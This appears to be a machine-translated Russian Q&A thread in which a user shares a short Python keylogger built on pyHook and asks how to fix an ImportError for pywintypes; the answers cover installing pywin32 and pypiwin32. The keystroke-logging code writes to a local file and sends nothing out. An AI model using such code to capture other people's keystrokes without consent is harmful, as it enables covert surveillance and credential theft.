ImportError: нет модуля с именем pywintypes

Я работаю над созданием небольшого кейлоггера с Python с помощью модулей pyHook, pythoncom и Pywin32. Вот мой код:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Когда он запустится, он возвращает это сообщение об ошибке:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

Как исправить эту ошибку?

Ответ 1

pywintypes является частью расширения Python для Windows, также известного как pywin32. Вам нужно установить это, чтобы получить доступ к pywintypes.

Обратите внимание, что на момент написания этой статьи сопровождающий pywin32 не загружал файлы в PyPI, поэтому вам нужно получить соответствующую версию установщика из http://pywin32.sf.net.

Ответ 2

pip install pypiwin32 работал у меня

Ответ 3

Просто добавьте pythoncom34.dll и pywintypes34.dll в свой C:\Python34\

Ответ 4

Я знаю, что мой ответ немного опоздал, но просто бегите к этой проблеме. Как pywin32, так и pypiwin32 установлены на моем virtualenv, мое приложение работает нормально во время тестирования. Когда я запускаю pyinstaller для сборки моего exe файла, появляется эта ошибка.

Решение: Мне нужно было установить (через pip) pywin32 и pypiwin32 в моей базовой среде python (не в virtualenv) для pyinstaller, чтобы собрать мой exe файл.